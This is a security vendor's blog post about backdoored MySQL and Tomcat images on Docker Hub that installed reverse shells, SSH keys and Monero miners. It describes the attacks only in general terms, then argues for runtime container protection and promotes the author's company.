By Fei Huang
- Backdoors were hidden inside the MySQL and Tomcat images, which are some of the most popular application containers on Docker Hub.
- These backdoored images were uploaded as far back as May 2017, and have being used actively for over a year before these backdoors were discovered.
- Some of these containers were installed more than one million times already, and some affected servers may still be compromised and have been lost from being able to be tracked.
- It took quite a while before end users realized the malicious activity taking place.
- The hidden backdoors or malicious programs included: Python Reverse Shell, Bash Reverse Shell, adding the attacker’s SSH key, embedded cryptocoin mining software, and more.
Cryptomining software was embedded in many of these images. Once this software runs, it will download a malicious .jpg file that runs in bash, or it downloads a malicious .sh file and runs in bash then exposes the mining software. Today hackers are using poisoned Docker images to install XMRig-based Monero miners, and it was said this uploader with username “docker123321” mined 544.74 Monero (about $90,000) using his/her victims’ systems. Today the latest news is that the South Korean cryptocurrency exchange Bithumb was hacked and $30 million in coins was stolen.
Bitcoin mining issues have become more frequent, including the recent Tesla hack using a Kubernetes console. Whether it’s a cryptomining program or SSH backdoor, hackers are stealthily leveraging modern cloud native container technologies to bypass traditional security systems. For example, to build a typical MySQL database application, developers don’t need to reinvent the wheel; they just pull one MySQL container, combine it with some open source software, and build everything together as a container. If such a backdoored MySQL container was selected as the base image, a trojan horse, reverse shell, or a Monero miner now has the opportunity to be launched after this container is deployed into production.
Containers are the basic building block – the foundation – of modern microservice applications. One industry report estimates that over 22,000 container orchestration systems are currently exposed online. Containers are built on top of layers and layers of base images, tons of open source libraries and packages from different sources. Just one internal malicious container is enough to punch a hole in the application framework, which could then bring down the entire application service or infrastructure.
From a practical security standpoint, many typical precautions would not catch the backdoors. Vulnerability scanning and compliance checks won’t be able to find unknown risks or any new backdoors; hardened platforms won’t be able to address run-time application attacks; perimeter security won’t be able to detect internal malicious behavior in east-west traffic; and endpoint security won’t be able to understand virtualized workloads, making it powerless to detect container exploits. This is why insider attacks have become the most dangerous security issue for enterprises today. When containers are deployed in the cloud with hyper-dynamic scaling, malicious containers also have that many more chances to aid hackers.
A new type cloud-native run-time security solution is needed to address these threats, similar to how it’s handled on a desktop. On an secured desktop environment, downloading an executable file to a local drive will immediately trigger an alarm and malware scanning. But that’s not enough. When any malicious behavior, for example running a backdoor, is detected at runtime, it shouldn’t matter if it’s from a trusted executable file or not. This application should be quarantined or killed. It is critical that runtime behavior monitoring provide the last line of defense. Similar protections should be in place for cloud native applications. Containers or micro-services need strong run-time protection, especially for deep east-west network protection, because they are running mission critical online services continuously within the datacenter.
From an application security angle, NeuVector believes that a multi-vector container security platform provides the best approach. A strong layer 7 container firewall together with internal and external container behavior monitoring, with the addition of proactive response rules can close the loop to provide complete container protection from development to production.
In fact, several weeks ago a large bank’s CSO told us “Now the most critical security concern I have is the insider threats or attacks.”